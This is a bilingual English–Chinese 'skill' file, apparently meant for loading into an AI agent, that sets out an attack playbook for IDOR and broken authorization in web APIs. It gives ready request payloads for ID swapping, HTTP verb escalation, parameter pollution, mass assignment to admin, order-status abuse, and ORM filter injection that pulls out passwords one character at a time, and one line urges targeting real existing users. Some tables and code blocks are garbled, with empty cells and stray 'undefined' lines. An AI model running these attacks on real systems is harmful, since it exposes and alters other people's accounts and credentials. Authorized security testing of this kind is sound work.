idor-broken-object-authorization
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: IDOR / Broken Object Level Authorization — Expert Attack Playbook
SKILL:IDOR/对象级权限校验失效(BOLA)—— 专家攻击手册
AI LOAD INSTRUCTION: IDOR is the #1 bug bounty finding. This skill covers non-obvious IDOR surfaces, all attack vectors (not just URL params), A-B testing methodology, BOLA vs BFLA distinction, chaining IDOR to higher impact, and what testers repeatedly miss.
AI加载说明:IDOR是漏洞赏金场景中排名第一的常见漏洞。本技能覆盖非显性IDOR暴露面、全攻击向量(不仅限于URL参数)、A-B测试方法论、BOLA与BFLA的区别、IDOR漏洞链式利用提升危害等级,以及测试人员反复遗漏的检查点。
1. IDOR vs BOLA vs BFLA
1. IDOR vs BOLA vs BFLA
| Term | Meaning | Impact |
|---|---|---|
| IDOR | Insecure Direct Object Reference | Read/modify other users' data |
| BOLA | Broken Object Level Authorization (OWASP API Top 10 A1) | Same as IDOR, API terminology |
| BFLA | Broken Function Level Authorization | Low-priv user accesses HIGH-PRIV functions (e.g., admin endpoints) |
Key distinction:
- BOLA = accessing object you shouldn't own (data belonging to other users)
- BFLA = accessing function you shouldn't be authorized for (admin CRUD operations, bulk actions, user management)
| 术语 | 含义 | 影响 |
|---|---|---|
| IDOR | 不安全直接对象引用 | 读取/修改其他用户的数据 |
| BOLA | 对象级权限校验失效(OWASP API Top 10 A1) | 与IDOR一致,为API领域术语 |
| BFLA | 功能级权限校验失效 | 低权限用户访问高权限功能(例如管理员端点) |
核心区别:
- BOLA = 访问你不应该拥有的对象(属于其他用户的数据)
- BFLA = 访问你未被授权使用的功能(管理员增删改查操作、批量操作、用户管理等)
2. WHERE TO FIND OBJECT IDs (ALL LOCATIONS)
2. 查找对象ID的全位置
Don't stop at URL path parameters — IDs appear in:
URL path: GET /api/v1/users/1234/profile
URL query: GET /orders?order_id=982
Request body: {"userId": 1234, "action": "view"}
JSON fields: {"resource": {"id": 5678, "type": "invoice"}}
Headers: X-User-ID: 1234
X-Account-ID: 9999
Cookies: user_id=1234; account=org_5678
GraphQL args: query { user(id: "1234") { ... } }
Form fields: <input name="documentId" value="5678">
WebSocket msgs: {"event":"subscribe","channel_id":9999}不要只检查URL路径参数,ID可能出现在以下位置:
URL path: GET /api/v1/users/1234/profile
URL query: GET /orders?order_id=982
Request body: {"userId": 1234, "action": "view"}
JSON fields: {"resource": {"id": 5678, "type": "invoice"}}
Headers: X-User-ID: 1234
X-Account-ID: 9999
Cookies: user_id=1234; account=org_5678
GraphQL args: query { user(id: "1234") { ... } }
Form fields: <input name="documentId" value="5678">
WebSocket msgs: {"event":"subscribe","channel_id":9999}3. A-B TESTING METHODOLOGY
3. A-B测试方法论
The most systematic IDOR test approach:
Step 1: Create two test accounts: UserA and UserB
Step 2: Perform all actions as UserA, capture all requests
(profile edit, order view, password change, file access, etc.)
Step 3: Note every object ID created or accessed by UserA
Step 4: Authenticate as UserB
Step 5: Replay UserA's requests using UserB's session token
Step 6: If UserB can read/modify UserA's data → BOLA confirmed
Victim matters: for real bugs, target existing users, not test accounts.
Report evidence: show UserA owns the resource, UserB accessed it.最系统化的IDOR测试方法:
步骤1:创建两个测试账户:用户A和用户B
步骤2:以用户A身份执行所有操作,捕获全部请求
(资料编辑、订单查看、密码修改、文件访问等)
步骤3:记录所有用户A创建或访问的对象ID
步骤4:切换为用户B身份登录
步骤5:使用用户B的会话令牌重放用户A的请求
步骤6:如果用户B可以读取/修改用户A的数据 → 确认存在BOLA漏洞
注意真实漏洞场景下的目标选择:针对现有真实用户而非测试账户进行测试。
上报证据要求:证明资源属于用户A,且用户B成功访问了该资源。4. ID TYPE ITS IMPLICATIONS
4. ID类型及其利用要点
| ID Pattern | Example | Notes |
|---|---|---|
| Sequential int | | Easy prediction, high hit rate |
| UUID v4 | | Need to find UUID from other endpoints |
| UUID v1 | Clock-based UUID | Time-predictable! Extract timestamp/MAC |
| GUIDs from own data | See in responses | Collect all UUIDs from your own account data first |
| Hashed IDs | | Try hashing sequential ints |
| Encoded IDs | base64( | Decode → modify → re-encode |
| Compound IDs | | Both IDs may be independently verifiable |
| ID模式 | 示例 | 说明 |
|---|---|---|
| 顺序整数 | | 易预测,命中概率高 |
| UUID v4 | | 需要从其他端点获取UUID |
| UUID v1 | 基于时钟的UUID | 可通过时间预测!可提取时间戳/MAC地址 |
| 自有数据中的GUID | 响应中可见的GUID | 优先从你自己的账户数据中收集所有UUID |
| 哈希ID | | 尝试哈希序列化整数 |
| 编码ID | base64( | 解码 → 修改 → 重新编码 |
| 复合ID | | 两个ID都可能独立校验 |
5. HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION
5. 水平 vs 垂直权限提升
Horizontal: UserA accesses UserB's data (same privilege level)
GET /api/account/1234/statement ← you are user 5678Vertical: Low-priv user accesses admin-only functions
POST /api/admin/users/delete ← normal user calling admin endpoint
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}Combined: Low-priv IDOR that grants privilege escalation
GET /api/v1/users/1/details → read admin user's auth token水平权限提升:用户A访问用户B的数据(相同权限等级)
GET /api/account/1234/statement ← 你的用户ID是5678垂直权限提升:低权限用户访问仅管理员可使用的功能
POST /api/admin/users/delete ← 普通用户调用管理员端点
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}组合型权限提升:低权限场景下的IDOR漏洞可实现权限提升
GET /api/v1/users/1/details → 读取管理员用户的认证令牌6. HTTP METHOD ESCALATION
6. HTTP方法权限绕过
When is properly restricted, test ALL other verbs:
GET /resource/1234http
GET /api/v1/users/UserA_ID ← might be blocked
POST /api/v1/users/UserA_ID ← different code path, might not check authz
PUT /api/v1/users/UserA_ID ← update another user's data
DELETE /api/v1/users/UserA_ID ← delete another user's account
PATCH /api/v1/users/UserA_ID ← partial update (often missed in authz checks)Why this works: Authorization logic is often implemented per-method, and developers forget edge cases.
当有正常权限限制时,测试所有其他HTTP谓词:
GET /resource/1234http
GET /api/v1/users/UserA_ID ← 可能被拦截
POST /api/v1/users/UserA_ID ← 不同代码路径,可能未做权限校验
PUT /api/v1/users/UserA_ID ← 更新其他用户的数据
DELETE /api/v1/users/UserA_ID ← 删除其他用户的账户
PATCH /api/v1/users/UserA_ID ← 部分更新(权限校验经常遗漏该方法)原理:权限逻辑通常按HTTP方法单独实现,开发者容易遗漏边缘场景。
7. PARAMETER POLLUTION & TYPE CONFUSION
7. 参数污染与类型混淆
When is validated, try:
id=1234id[]=1234&id[]=5678 ← array — app may use first or last
id=5678&id=1234 ← duplicate — app may prefer first or last
{"id": "1234"} ← string vs int: might hit different code path
{"id": [1234]} ← array in JSON
{"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?JSON Type Confusion:
json
{"userId": "1234"} vs {"userId": 1234}Some ORMs handle string vs integer differently in queries.
当有校验时,尝试以下payload:
id=1234id[]=1234&id[]=5678 ← 数组 — 应用可能取第一个或最后一个值
id=5678&id=1234 ← 重复参数 — 应用可能优先取第一个或最后一个值
{"id": "1234"} ← 字符串 vs 整数:可能命中不同代码路径
{"id": [1234]} ← JSON数组
{"userId": 1234, "id": 5678} ← 两个ID字段 — 权限校验使用哪个字段?JSON类型混淆:
json
{"userId": "1234"} vs {"userId": 1234}部分ORM在查询中对字符串和整数的处理逻辑不同。
8. BFLA (FUNCTION LEVEL) ATTACKS
8. BFLA(功能级权限校验失效)攻击
Common BFLA Endpoints to Test
常见待测试BFLA端点
http
undefinedhttp
undefinedUser management (admin-only in design):
用户管理(设计上仅管理员可访问):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role
Bulk operations:
批量操作:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data
Billing/payment admin:
账单/支付管理端:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all
Internal reporting:
内部报表:
GET /api/v1/reports/all-users-activity
undefinedGET /api/v1/reports/all-users-activity
undefinedHow to Find Hidden Admin Endpoints
查找隐藏管理员端点的方法
- Read JS bundles — admin routes often exposed in frontend code
- Look at API docs (Swagger/OpenAPI) for "admin", "internal", "privileged" tags
- Enumerate ,
/api/v1/admin/**,/api/v1/manage/**/api/v1/internal/** - Burp "Discover Content" on API base path
- Compare regular user docs vs admin section docs if available
- 分析JS包 — 管理员路由经常暴露在前端代码中
- 查看API文档(Swagger/OpenAPI)中的「admin」「internal」「privileged」标签
- 枚举、
/api/v1/admin/**、/api/v1/manage/**路径/api/v1/internal/** - 使用Burp的「发现内容」功能扫描API根路径
- 对比普通用户文档与管理员分区文档(如果可获取)
9. INDIRECT IDOR (REFERENCE CHAIN)
9. 间接IDOR(引用链漏洞)
App checks permission on object A but doesn't check ownership of referenced object B:
Example:
UserA has permission to read their own messages.
GET /api/messages/1234 → checks: "does user own message 1234?" ✓
But: messages have attachments.
GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"Test: access attachments/sub-resources directly via their IDs without going through parent endpoint.
GraphQL variant: Inline querying related objects without separate authorization:
graphql
query {
myProfile {
followers {
privateEmail ← accessing private field of OTHER users via relationship
}
}
}应用校验了对象A的权限,但未校验其引用的对象B的所有权:
示例:
用户A有权限读取自己的消息。
GET /api/messages/1234 → 校验:「用户是否拥有消息1234?」 ✓
但:消息包含附件。
GET /api/attachments/5678 → 未校验:「附件是否属于用户拥有的消息?」测试方法:不通过父端点,直接通过ID访问附件/子资源。
GraphQL变种:内联查询关联对象时未做单独权限校验:
graphql
query {
myProfile {
followers {
privateEmail ← 通过关联关系访问其他用户的私有字段
}
}
}10. MASS ASSIGNMENT → PRIVILEGE ESCALATION
10. 批量赋值 → 权限提升
When POST/PUT takes a JSON body, properties in the underlying model may be settable even if not in the official API docs:
json
POST /api/v1/register
{
"username": "attacker",
"email": "a@evil.com",
"password": "password",
"role": "admin", ← hidden field
"isAdmin": true, ← hidden field
"verified": true, ← skip email verification
"creditBalance": 9999 ← give self credits
}How to find hidden fields:
- Intercept admin "create user" vs normal "register" — diff the fields
- Read API documentation for all possible fields
- Check source code if available (GitHub, JS bundles)
- Fuzz with Burp: add common property names and check for vs
200400
当POST/PUT请求接收JSON body时,底层模型的属性即使未出现在官方API文档中也可能被设置:
json
POST /api/v1/register
{
"username": "attacker",
"email": "a@evil.com",
"password": "password",
"role": "admin", ← 隐藏字段
"isAdmin": true, ← 隐藏字段
"verified": true, ← 跳过邮箱验证
"creditBalance": 9999 ← 给自己增加余额
}查找隐藏字段的方法:
- 拦截管理员「创建用户」与普通用户「注册」的请求,对比字段差异
- 查阅API文档获取所有可能的字段
- 检查可获取的源代码(GitHub、JS包)
- 使用Burp进行模糊测试:添加常见属性名,对比返回与
200的差异400
11. STATE MACHINE ABUSE (BUSINESS LOGIC IDOR)
11. 状态机滥用(业务逻辑型IDOR)
When resources have a status/state:
order.status: pending → confirmed → shipped → deliveredTest: Can you skip states?
PUT /api/orders/1234 {"status": "delivered"} ← from "pending"
PUT /api/orders/1234 {"status": "refunded"} ← from "pending" (skip shipped)Can you set another user's order status?
PUT /api/orders/UserA_order_id {"status": "cancelled"} ← as UserB当资源存在状态/状态流转时:
order.status: 待支付 → 已确认 → 已发货 → 已送达测试:你能否跳过状态流转?
PUT /api/orders/1234 {"status": "delivered"} ← 从「待支付」直接修改为「已送达」
PUT /api/orders/1234 {"status": "refunded"} ← 从「待支付」直接修改为「已退款」(跳过发货环节)你能否修改其他用户的订单状态?
PUT /api/orders/用户A的订单ID {"status": "cancelled"} ← 以用户B身份操作12. QUICK IDOR CHECKLIST
12. IDOR快速检查清单
□ Create 2 accounts (UserA + UserB)
□ Map all API calls that contain object IDs (Burp History export filter)
□ Test all HTTP verbs on each endpoint
□ Test ID in all locations: path, body, header, query, cookie
□ Try sequential IDs (−1, +1 from your own)
□ Try UUIDs/GUIDs collected from your own account data
□ Test sub-resources (attachments, comments, transactions)
□ Test admin endpoints directly (BFLA)
□ Test POST/PUT body for extra fields (mass assignment)
□ Compare JSON response field count vs documented fields (hidden fields)
□ Test state/status field modification□ 创建2个测试账户(用户A + 用户B)
□ 标记所有包含对象ID的API请求(Burp历史导出筛选)
□ 对每个端点测试所有HTTP谓词
□ 测试所有位置的ID:路径、请求体、请求头、查询参数、Cookie
□ 尝试顺序ID(在你自己的ID基础上±1)
□ 尝试从你自己账户数据中收集的UUID/GUID
□ 测试子资源(附件、评论、交易记录)
□ 直接测试管理员端点(BFLA)
□ 测试POST/PUT请求体中的额外字段(批量赋值)
□ 对比JSON响应字段数量与文档记录的字段(排查隐藏字段)
□ 测试状态/状态字段修改漏洞13. SYSTEMATIC IDOR TESTING — 8 CATEGORIES
13. 系统化IDOR测试——8大类别
| # | Category | Test Method |
|---|---|---|
| 1 | Direct ID reference | Change numeric/UUID ID in URL: |
| 2 | Predictable UUID | If UUIDs are v1 (time-based), adjacent IDs are calculable |
| 3 | Batch/bulk operations | |
| 4 | Export/download | Export endpoint leaks other users' data: |
| 5 | Linked object IDOR | Change |
| 6 | Resource replacement | Update own profile with another user's resource ID → overwrites |
| 7 | Write IDOR | PUT/PATCH/DELETE with other user's ID — modify/delete their data |
| 8 | Nested object | |
| # | 类别 | 测试方法 |
|---|---|---|
| 1 | 直接对象引用 | 修改URL中的数字/UUID ID: |
| 2 | 可预测UUID | 如果是v1版本UUID(基于时间),可计算相邻ID |
| 3 | 批量操作 | |
| 4 | 导出/下载 | 导出端点泄露其他用户数据: |
| 5 | 关联对象IDOR | 将 |
| 6 | 资源替换 | 用其他用户的资源ID更新自己的资料 → 覆盖对方资源 |
| 7 | 写入型IDOR | 用其他用户的ID发起PUT/PATCH/DELETE请求 — 修改/删除对方数据 |
| 8 | 嵌套对象 | |
Testing Flow
测试流程
1. Create two test accounts (A and B)
2. Perform all CRUD operations as A, capture all request IDs
3. Replay each request replacing A's IDs with B's IDs
4. Check: Can A read B's data? Modify? Delete?
5. Test with: numeric IDs, UUIDs, slugs, encoded values
6. Test across: URL path, query params, JSON body, headers1. 创建两个测试账户(A和B)
2. 以A身份执行所有CRUD操作,捕获所有请求ID
3. 重放每个请求,将A的ID替换为B的ID
4. 检查:A能否读取B的数据?修改?删除?
5. 测试不同ID类型:数字ID、UUID、slug、编码值
6. 测试不同位置的ID:URL路径、查询参数、JSON请求体、请求头14. ORM FILTER CHAIN LEAKS
14. ORM过滤链泄露
Django ORM Filter Injection
Django ORM 过滤注入
python
undefinedpython
undefinedVulnerable: User.objects.filter(**request.data)
漏洞代码:User.objects.filter(**request.data)
Attacker sends: {"password__startswith": "a"}
攻击者发送:{"password__startswith": "a"}
Django translates to: WHERE password LIKE 'a%'
Django转换为SQL:WHERE password LIKE 'a%'
Character-by-character extraction:
逐字符提取数据:
POST /api/users/
{"username": "admin", "password__startswith": "a"} → 200 (match)
{"username": "admin", "password__startswith": "b"} → 404 (no match)
POST /api/users/
{"username": "admin", "password__startswith": "a"} → 200(匹配)
{"username": "admin", "password__startswith": "b"} → 404(不匹配)
Iterate through charset for each position
遍历字符集逐位破解
Relational traversal:
关联遍历:
{"author__user__password__startswith": "a"}
{"author__user__password__startswith": "a"}
Traverses: Author → User → password field
遍历关联关系:作者 → 用户 → 密码字段
On MySQL: ReDoS via regex
MySQL场景下:通过正则表达式触发ReDoS
{"email__regex": "^(a+)+$"} → CPU spike if match exists
undefined{"email__regex": "^(a+)+$"} → 匹配成功时CPU飙升
undefinedPrisma Filter Injection
Prisma 过滤注入
json
// Vulnerable: prisma.user.findMany({ where: req.body })
// Attacker sends nested include/select:
{
"include": {
"posts": {
"include": {
"author": {
"select": {"password": true}
}
}
}
}
}
// Leaks password field through relation traversaljson
// 漏洞代码:prisma.user.findMany({ where: req.body })
// 攻击者发送嵌套的include/select:
{
"include": {
"posts": {
"include": {
"author": {
"select": {"password": true}
}
}
}
}
}
// 通过关联遍历泄露密码字段Ransack (Ruby on Rails)
Ransack(Ruby on Rails)
undefinedundefinedRansack allows search predicates via query params:
Ransack支持通过查询参数使用搜索谓词:
GET /users?q[password_cont]=admin
GET /users?q[password_cont]=admin
Searches: WHERE password LIKE '%admin%'
转换为SQL:WHERE password LIKE '%admin%'
Character extraction:
逐字符提取数据:
GET /users?q[password_start]=a → count results
GET /users?q[password_start]=ab → narrow down
GET /users?q[password_start]=a → 统计结果数量
GET /users?q[password_start]=ab → 缩小范围
Tool: plormber (automated Ransack extraction)
工具:plormber(自动化Ransack数据提取工具)
undefinedundefined